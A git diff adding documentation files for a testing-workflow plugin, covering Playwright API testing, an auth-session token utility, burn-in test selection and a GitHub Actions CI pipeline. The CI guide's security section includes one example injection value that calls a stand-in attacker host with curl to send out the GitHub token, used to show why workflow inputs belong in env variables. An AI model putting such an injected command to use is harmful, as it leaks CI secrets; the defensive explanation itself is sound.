+| **Speed**           | ~50-100ms per test     | ~2-10s per test             |
+| **Stability**       | Very stable            | More flaky (UI timing)      |
+| **Setup**           | Minimal                | Browser, context, page      |
+| **Debugging**       | Clear request/response | DOM, screenshots, traces    |
+| **Coverage**        | Service logic          | User experience             |
+| **Parallelization** | Easy (stateless)       | Complex (browser resources) |
+| **CI Cost**         | Low (no browser)       | High (browser containers)   |
+
+## Related Fragments
+
+- `api-request.md` - apiRequest utility details
+- `recurse.md` - Polling patterns for async operations
+- `auth-session.md` - Token management
+- `contract-testing.md` - Pact contract testing
+- `test-levels-framework.md` - When to use which test level
+- `data-factories.md` - Test data setup patterns
+
+## Anti-Patterns
+
+**DON'T use E2E for API validation:**
+
+```typescript
+// Bad: Testing API through UI
+test('validate user creation', async ({ page }) => {
+  await page.goto('/admin/users');
+  await page.fill('#name', 'John');
+  await page.click('#submit');
+  await expect(page.getByText('User created')).toBeVisible();
+});
+```
+
+**DO test APIs directly:**
+
+```typescript
+// Good: Direct API test
+test('validate user creation', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'John' },
+  });
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**DON'T ignore API tests because "E2E covers it":**
+
+```typescript
+// Bad thinking: "Our E2E tests create users, so API is tested"
+// Reality: E2E tests one happy path; API tests cover edge cases
+```
+
+**DO have dedicated API test coverage:**
+
+```typescript
+// Good: Explicit API test suite
+test.describe('Users API', () => {
+  test('creates user', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles duplicate email', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('validates required fields', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles malformed JSON', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('rate limits requests', async ({ apiRequest }) => {
+    /* ... */
+  });
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/auth-session.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/auth-session.md
new file mode 100644
index 0000000..905472f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/auth-session.md
@@ -0,0 +1,548 @@
+# Auth Session Utility
+
+## Principle
+
+Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.**
+
+## Rationale
+
+Playwright's built-in authentication works but has limitations:
+
+- Re-authenticates for every test run (slow)
+- Single user per project setup
+- No token expiration handling
+- Manual session management
+- Complex setup for multi-user scenarios
+
+The `auth-session` utility provides:
+
+- **Token persistence**: Authenticate once, reuse across runs
+- **Multi-user support**: Different user identifiers in same test suite
+- **Ephemeral auth**: On-the-fly user authentication without disk persistence
+- **Worker-specific accounts**: Parallel execution with isolated user accounts
+- **Automatic token management**: Checks validity, renews if expired
+- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom)
+- **API-first design**: Get tokens for API tests without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic Auth Session Setup
+
+**Context**: Configure global authentication that persists across test runs.
+
+**Implementation**:
+
+```typescript
+// Step 1: Configure in global-setup.ts
+import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './auth/custom-auth-provider';
+
+async function globalSetup() {
+  // Ensure storage directories exist
+  authStorageInit();
+
+  // Configure storage path
+  configureAuthSession({
+    authStoragePath: process.cwd() + '/playwright/auth-sessions',
+    debug: true,
+  });
+
+  // Set custom provider (HOW to authenticate)
+  setAuthProvider(myCustomProvider);
+
+  // Optional: pre-fetch token for default user
+  await authGlobalInit();
+}
+
+export default globalSetup;
+
+// Step 2: Create auth fixture
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './custom-auth-provider';
+
+// Register provider early
+setAuthProvider(myCustomProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests
+test('authenticated request', async ({ authToken, request }) => {
+  const response = await request.get('/api/protected', {
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(response.ok()).toBeTruthy();
+});
+```
+
+**Key Points**:
+
+- Global setup runs once before all tests
+- Token fetched once, reused across all tests
+- Custom provider defines your auth mechanism
+- Order matters: configure, then setProvider, then init
+
+### Example 2: Multi-User Authentication
+
+**Context**: Testing with different user roles (admin, regular user, guest) in same test suite.
+
+**Implementation**:
+
+```typescript
+import { test } from '../support/auth/auth-fixture';
+
+// Option 1: Per-test user override
+test('admin actions', async ({ authToken, authOptions }) => {
+  // Override default user
+  authOptions.userIdentifier = 'admin';
+
+  const { authToken: adminToken } = await test.step('Get admin token', async () => {
+    return { authToken }; // Re-fetches with new identifier
+  });
+
+  // Use admin token
+  const response = await request.get('/api/admin/users', {
+    headers: { Authorization: `Bearer ${adminToken}` },
+  });
+});
+
+// Option 2: Parallel execution with different users
+test.describe.parallel('multi-user tests', () => {
+  test('user 1 actions', async ({ authToken }) => {
+    // Uses default user (e.g., 'user1')
+  });
+
+  test('user 2 actions', async ({ authToken, authOptions }) => {
+    authOptions.userIdentifier = 'user2';
+    // Uses different token for user2
+  });
+});
+```
+
+**Key Points**:
+
+- Override `authOptions.userIdentifier` per test
+- Tokens cached separately per user identifier
+- Parallel tests isolated with different users
+- Worker-specific accounts possible
+
+### Example 3: Ephemeral User Authentication
+
+**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow).
+
+**Implementation**:
+
+```typescript
+import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
+import { createTestUser } from '../utils/user-factory';
+
+test('ephemeral user test', async ({ context, page }) => {
+  // Create temporary user (not persisted)
+  const ephemeralUser = await createTestUser({
+    role: 'admin',
+    permissions: ['delete-users'],
+  });
+
+  // Apply auth directly to browser context
+  await applyUserCookiesToBrowserContext(context, ephemeralUser);
+
+  // Page now authenticated as ephemeral user
+  await page.goto('/admin/users');
+
+  await expect(page.getByTestId('delete-user-btn')).toBeVisible();
+
+  // User and token cleaned up after test
+});
+```
+
+**Key Points**:
+
+- No disk persistence (ephemeral)
+- Apply cookies directly to context
+- Useful for testing user lifecycle
+- Clean up automatic when test ends
+
+### Example 4: Testing Multiple Users in Single Test
+
+**Context**: Testing interactions between users (messaging, sharing, collaboration features).
+
+**Implementation**:
+
+```typescript
+test('user interaction', async ({ browser }) => {
+  // User 1 context
+  const user1Context = await browser.newContext({
+    storageState: './auth-sessions/local/user1/storage-state.json',
+  });
+  const user1Page = await user1Context.newPage();
+
+  // User 2 context
+  const user2Context = await browser.newContext({
+    storageState: './auth-sessions/local/user2/storage-state.json',
+  });
+  const user2Page = await user2Context.newPage();
+
+  // User 1 sends message
+  await user1Page.goto('/messages');
+  await user1Page.fill('#message', 'Hello from user 1');
+  await user1Page.click('#send');
+
+  // User 2 receives message
+  await user2Page.goto('/messages');
+  await expect(user2Page.getByText('Hello from user 1')).toBeVisible();
+
+  // Cleanup
+  await user1Context.close();
+  await user2Context.close();
+});
+```
+
+**Key Points**:
+
+- Each user has separate browser context
+- Reference storage state files directly
+- Test real-time interactions
+- Clean up contexts after test
+
+### Example 5: Worker-Specific Accounts (Parallel Testing)
+
+**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  workers: 4, // 4 parallel workers
+  use: {
+    // Each worker uses different user
+    storageState: async ({}, use, testInfo) => {
+      const workerIndex = testInfo.workerIndex;
+      const userIdentifier = `worker-${workerIndex}`;
+
+      await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
+    },
+  },
+});
+
+// Tests run in parallel, each worker with its own user
+test('parallel test 1', async ({ page }) => {
+  // Worker 0 uses worker-0 account
+  await page.goto('/dashboard');
+});
+
+test('parallel test 2', async ({ page }) => {
+  // Worker 1 uses worker-1 account
+  await page.goto('/dashboard');
+});
+```
+
+**Key Points**:
+
+- Each worker has isolated user account
+- No conflicts in parallel execution
+- Token management automatic per worker
+- Scales to any number of workers
+
+### Example 6: Pure API Authentication (No Browser)
+
+**Context**: Get auth tokens for API-only tests using auth-session disk persistence.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create API-only auth provider (no browser needed)
+// playwright/support/api-auth-provider.ts
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const apiAuthProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+  getUserIdentifier: (options) => options.userIdentifier || 'api-user',
+
+  extractToken: (storageState) => {
+    // Token stored in localStorage format for disk persistence
+    const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
+    return tokenEntry?.value;
+  },
+
+  isTokenExpired: (storageState) => {
+    const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
+    if (!expiryEntry) return true;
+    return Date.now() > parseInt(expiryEntry.value, 10);
+  },
+
+  manageAuthToken: async (request, options) => {
+    const email = process.env.TEST_USER_EMAIL;
+    const password = process.env.TEST_USER_PASSWORD;
+
+    if (!email || !password) {
+      throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
+    }
+
+    // Pure API login - no browser!
+    const response = await request.post('/api/auth/login', {
+      data: { email, password },
+    });
+
+    if (!response.ok()) {
+      throw new Error(`Auth failed: ${response.status()}`);
+    }
+
+    const { token, expiresIn } = await response.json();
+    const expiryTime = Date.now() + expiresIn * 1000;
+
+    // Return storage state format for disk persistence
+    return {
+      cookies: [],
+      origins: [
+        {
+          origin: process.env.API_BASE_URL || 'http://localhost:3000',
+          localStorage: [
+            { name: 'auth_token', value: token },
+            { name: 'token_expiry', value: String(expiryTime) },
+          ],
+        },
+      ],
+    };
+  },
+};
+
+export default apiAuthProvider;
+
+// Step 2: Create auth fixture
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import apiAuthProvider from './api-auth-provider';
+
+setAuthProvider(apiAuthProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests - token persisted to disk!
+// tests/api/authenticated-api.spec.ts
+import { test } from '../support/fixtures';
+import { expect } from '@playwright/test';
+
+test('should access protected endpoint', async ({ authToken, apiRequest }) => {
+  // authToken is automatically loaded from disk or fetched if expired
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/me',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+
+test('should create resource with auth', async ({ authToken, apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    headers: { Authorization: `Bearer ${authToken}` },
+    body: { items: [{ productId: 'prod-1', quantity: 2 }] },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Token persisted to disk (not in-memory) - survives test reruns
+- Provider fetches token once, reuses until expired
+- Pure API authentication - no browser context needed
+- `authToken` fixture handles disk read/write automatically
+- Environment variables validated with clear error message
+
+### Example 7: Service-to-Service Authentication
+
+**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-auth.spec.ts
+import { test as base, expect } from '@playwright/test';
+import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { mergeTests } from '@playwright/test';
+
+// Validate environment variables at module load
+const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
+const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;
+
+if (!SERVICE_API_KEY) {
+  throw new Error('SERVICE_API_KEY environment variable is required');
+}
+if (!INTERNAL_SERVICE_URL) {
+  throw new Error('INTERNAL_SERVICE_URL environment variable is required');
+}
+
+const test = mergeTests(base, apiFixture);
+
+test.describe('Service-to-Service Auth', () => {
+  test('should authenticate with API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': SERVICE_API_KEY },
+    });
+
+    expect(status).toBe(200);
+    expect(body.status).toBe('healthy');
+  });
+
+  test('should reject invalid API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': 'invalid-key' },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('INVALID_API_KEY');
+  });
+
+  test('should call downstream service with propagated auth', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/internal/aggregate-data',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: {
+        'X-API-Key': SERVICE_API_KEY,
+        'X-Request-ID': `test-${Date.now()}`,
+      },
+      body: { sources: ['users', 'orders', 'inventory'] },
+    });
+
+    expect(status).toBe(200);
+    expect(body.aggregatedFrom).toHaveLength(3);
+  });
+});
+```
+
+**Key Points**:
+
+- Environment variables validated at module load with clear errors
+- API key authentication (simpler than OAuth - no disk persistence needed)
+- Test internal/service endpoints
+- Validate auth rejection scenarios
+- Correlation ID for request tracing
+
+> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.
+
+## Custom Auth Provider Pattern
+
+**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).
+
+**Minimal provider structure**:
+
+```typescript
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const myCustomProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+
+  getUserIdentifier: (options) => options.userIdentifier || 'default-user',
+
+  extractToken: (storageState) => {
+    // Extract token from your storage format
+    return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
+  },
+
+  extractCookies: (tokenData) => {
+    // Convert token to cookies for browser context
+    return [
+      {
+        name: 'auth_token',
+        value: tokenData,
+        domain: 'example.com',
+        path: '/',
+        httpOnly: true,
+        secure: true,
+      },
+    ];
+  },
+
+  isTokenExpired: (storageState) => {
+    // Check if token is expired
+    const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
+    return Date.now() > parseInt(expiresAt?.value || '0');
+  },
+
+  manageAuthToken: async (request, options) => {
+    // Main token acquisition logic
+    // Return storage state with cookies/localStorage
+  },
+};
+
+export default myCustomProvider;
+```
+
+## Integration with API Request
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('authenticated API call', async ({ apiRequest, authToken }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Pure API testing patterns (no browser)
+- `overview.md` - Installation and fixture composition
+- `api-request.md` - Authenticated API requests
+- `fixtures-composition.md` - Merging auth with other utilities
+
+## Anti-Patterns
+
+**❌ Calling setAuthProvider after globalSetup:**
+
+```typescript
+async function globalSetup() {
+  configureAuthSession(...)
+  await authGlobalInit()  // Provider not set yet!
+  setAuthProvider(provider)  // Too late
+}
+```
+
+**✅ Register provider before init:**
+
+```typescript
+async function globalSetup() {
+  authStorageInit()
+  configureAuthSession(...)
+  setAuthProvider(provider)  // First
+  await authGlobalInit()     // Then init
+}
+```
+
+**❌ Hardcoding storage paths:**
+
+```typescript
+const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle
+```
+
+**✅ Use helper functions:**
+
+```typescript
+import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';
+
+const tokenPath = getTokenFilePath({
+  environment: 'local',
+  userIdentifier: 'user1',
+  tokenFileName: 'storage-state.json',
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/burn-in.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/burn-in.md
new file mode 100644
index 0000000..d8b9f9e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/burn-in.md
@@ -0,0 +1,273 @@
+# Burn-in Test Runner
+
+## Principle
+
+Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.
+
+## Rationale
+
+Playwright's `--only-changed` triggers all affected tests:
+
+- Config file changes trigger hundreds of tests
+- Type definition changes cause full suite runs
+- No volume control (all or nothing)
+- Slow CI pipelines
+
+The `burn-in` utility provides:
+
+- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs)
+- **Volume control**: Run percentage of affected tests after filtering
+- **Custom dependency analysis**: More accurate than Playwright's built-in
+- **CI optimization**: Faster pipelines without sacrificing confidence
+- **Process of elimination**: Start with all → filter irrelevant → control volume
+
+## Pattern Examples
+
+### Example 1: Basic Burn-in Setup
+
+**Context**: Run burn-in on changed files compared to main branch.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create burn-in script
+// playwright/scripts/burn-in-changed.ts
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'
+
+async function main() {
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+    baseBranch: 'main'
+  })
+}
+
+main().catch(console.error)
+
+// Step 2: Create config
+// playwright/config/.burn-in.config.ts
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'
+
+const config: BurnInConfig = {
+  // Files that never trigger tests (first filter)
+  skipBurnInPatterns: [
+    '**/config/**',
+    '**/*constants*',
+    '**/*types*',
+    '**/*.md',
+    '**/README*'
+  ],
+
+  // Run 30% of remaining tests after skip filter
+  burnInTestPercentage: 0.3,
+
+  // Burn-in repetition
+  burnIn: {
+    repeatEach: 3,  // Run each test 3 times
+    retries: 1      // Allow 1 retry
+  }
+}
+
+export default config
+
+// Step 3: Add package.json script
+{
+  "scripts": {
+    "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Two-stage filtering: skip patterns, then volume control
+- `skipBurnInPatterns` eliminates irrelevant files
+- `burnInTestPercentage` controls test volume (0.3 = 30%)
+- Custom dependency analysis finds actually affected tests
+
+### Example 2: CI Integration
+
+**Context**: Use burn-in in GitHub Actions for efficient CI runs.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/burn-in.yml
+name: Burn-in Changed Tests
+
+on:
+  pull_request:
+    branches: [main]
+
+jobs:
+  burn-in:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Need git history
+
+      - name: Setup Node
+        uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run burn-in on changed tests
+        run: npm run test:pw:burn-in-changed -- --base-branch=origin/main
+
+      - name: Upload artifacts
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failures
+          path: test-results/
+```
+
+**Key Points**:
+
+- `fetch-depth: 0` for full git history
+- Pass `--base-branch=origin/main` for PR comparison
+- Upload artifacts only on failure
+- Significantly faster than full suite
+
+### Example 3: How It Works (Process of Elimination)
+
+**Context**: Understanding the filtering pipeline.
+
+**Scenario:**
+
+```
+Git diff finds: 21 changed files
+├─ Step 1: Skip patterns filter
+│  Removed: 6 files (*.md, config/*, *types*)
+│  Remaining: 15 files
+│
+├─ Step 2: Dependency analysis
+│  Tests that import these 15 files: 45 tests
+│
+└─ Step 3: Volume control (30%)
+   Final tests to run: 14 tests (30% of 45)
+
+Result: Run 14 targeted tests instead of 147 with --only-changed!
+```
+
+**Key Points**:
+
+- Three-stage pipeline: skip → analyze → control
+- Custom dependency analysis (not just imports)
+- Percentage applies AFTER filtering
+- Dramatically reduces CI time
+
+### Example 4: Environment-Specific Configuration
+
+**Context**: Different settings for local vs CI environments.
+
+**Implementation**:
+
+```typescript
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';
+
+const config: BurnInConfig = {
+  skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],
+
+  // CI runs fewer iterations, local runs more
+  burnInTestPercentage: process.env.CI ? 0.2 : 0.3,
+
+  burnIn: {
+    repeatEach: process.env.CI ? 2 : 3,
+    retries: process.env.CI ? 0 : 1, // No retries in CI
+  },
+};
+
+export default config;
+```
+
+**Key Points**:
+
+- `process.env.CI` for environment detection
+- Lower percentage in CI (20% vs 30%)
+- Fewer iterations in CI (2 vs 3)
+- No retries in CI (fail fast)
+
+### Example 5: Sharding Support
+
+**Context**: Distribute burn-in tests across multiple CI workers.
+
+**Implementation**:
+
+```typescript
+// burn-in-changed.ts with sharding
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';
+
+async function main() {
+  const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));
+
+  if (shardArg) {
+    process.env.PW_SHARD = shardArg.split('=')[1];
+  }
+
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+  });
+}
+```
+
+```yaml
+# GitHub Actions with sharding
+jobs:
+  burn-in:
+    strategy:
+      matrix:
+        shard: [1/3, 2/3, 3/3]
+    steps:
+      - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}
+```
+
+**Key Points**:
+
+- Pass `--shard=1/3` for parallel execution
+- Burn-in respects Playwright sharding
+- Distribute across multiple workers
+- Reduces total CI time further
+
+## Integration with CI Workflow
+
+When setting up CI with `*ci` workflow, recommend burn-in for:
+
+- Pull request validation
+- Pre-merge checks
+- Nightly builds (subset runs)
+
+## Related Fragments
+
+- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops)
+- `selective-testing.md` - Test selection strategies
+- `overview.md` - Installation
+
+## Anti-Patterns
+
+**❌ Over-aggressive skip patterns:**
+
+```typescript
+skipBurnInPatterns: [
+  '**/*', // Skips everything!
+];
+```
+
+**✅ Targeted skip patterns:**
+
+```typescript
+skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];
+```
+
+**❌ Too low percentage (false confidence):**
+
+```typescript
+burnInTestPercentage: 0.05; // Only 5% - might miss issues
+```
+
+**✅ Balanced percentage:**
+
+```typescript
+burnInTestPercentage: 0.2; // 20% in CI, provides good coverage
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/ci-burn-in.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/ci-burn-in.md
new file mode 100644
index 0000000..a092987
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/ci-burn-in.md
@@ -0,0 +1,717 @@
+# CI Pipeline and Burn-In Strategy
+
+## Principle
+
+CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
+
+## Rationale
+
+CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
+
+## Security: Script Injection Prevention
+
+**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
+
+When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
+
+### Vulnerable vs Safe Pattern
+
+```yaml
+# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test_ids }}"
+
+# ✅ SAFE — env var cannot break out of shell quoting
+- name: Run tests
+  env:
+    TEST_IDS: ${{ inputs.test_ids }}
+  run: |
+    npx playwright test --grep "$TEST_IDS"
+```
+
+### Unsafe Contexts (require env: intermediary)
+
+- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
+- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
+
+### Safe Contexts (safe from GitHub expression injection in run: blocks)
+
+- `${{ steps.*.outputs.* }}` — pre-computed by your own code
+- `${{ matrix.* }}` — defined in workflow YAML
+- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
+- `${{ secrets.* }}` — secret store, not user-injectable
+- `${{ env.* }}` — already an env var
+
+> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
+
+---
+
+## Pattern Examples
+
+### Example 1: GitHub Actions Workflow with Parallel Execution
+
+**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/e2e-tests.yml
+name: E2E Tests
+on:
+  pull_request:
+  push:
+    branches: [main, develop]
+
+env:
+  NODE_VERSION_FILE: '.nvmrc'
+  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
+
+jobs:
+  install-dependencies:
+    name: Install & Cache Dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Cache node modules
+        uses: actions/cache@v4
+        id: npm-cache
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/Cypress
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+          restore-keys: |
+            ${{ runner.os }}-node-
+
+      - name: Install dependencies
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npm ci --prefer-offline --no-audit
+
+      - name: Install Playwright browsers
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npx playwright install --with-deps chromium
+
+  test-changed-specs:
+    name: Test Changed Specs First (Burn-In)
+    needs: install-dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Detect changed test files
+        id: changed-tests
+        run: |
+          CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
+          echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
+          echo "Changed specs: ${CHANGED_SPECS}"
+
+      - name: Run burn-in on changed specs (10 iterations)
+        if: steps.changed-tests.outputs.changed_specs != ''
+        run: |
+          SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
+          echo "Running burn-in: 10 iterations on changed specs"
+          for i in {1..10}; do
+            echo "Burn-in iteration $i/10"
+            npm run test -- $SPECS || {
+              echo "❌ Burn-in failed on iteration $i"
+              exit 1
+            }
+          done
+          echo "✅ Burn-in passed - 10/10 successful runs"
+
+      - name: Upload artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failure-artifacts
+          path: |
+            test-results/
+            playwright-report/
+            screenshots/
+          retention-days: 7
+
+  test-e2e-sharded:
+    name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
+    needs: [install-dependencies, test-changed-specs]
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    strategy:
+      fail-fast: false # Run all shards even if one fails
+      matrix:
+        shard: [1, 2, 3, 4]
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Run E2E tests (shard ${{ matrix.shard }})
+        run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
+        env:
+          TEST_ENV: staging
+          CI: true
+
+      - name: Upload test results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+
+      - name: Upload JUnit report
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: junit-results-shard-${{ matrix.shard }}
+          path: test-results/junit.xml
+          retention-days: 30
+
+  merge-test-results:
+    name: Merge Test Results & Generate Report
+    needs: test-e2e-sharded
+    runs-on: ubuntu-latest
+    if: always()
+    steps:
+      - name: Download all shard results
+        uses: actions/download-artifact@v4
+        with:
+          pattern: test-results-shard-*
+          path: all-results/
+
+      - name: Merge HTML reports
+        run: |
+          npx playwright merge-reports --reporter=html all-results/
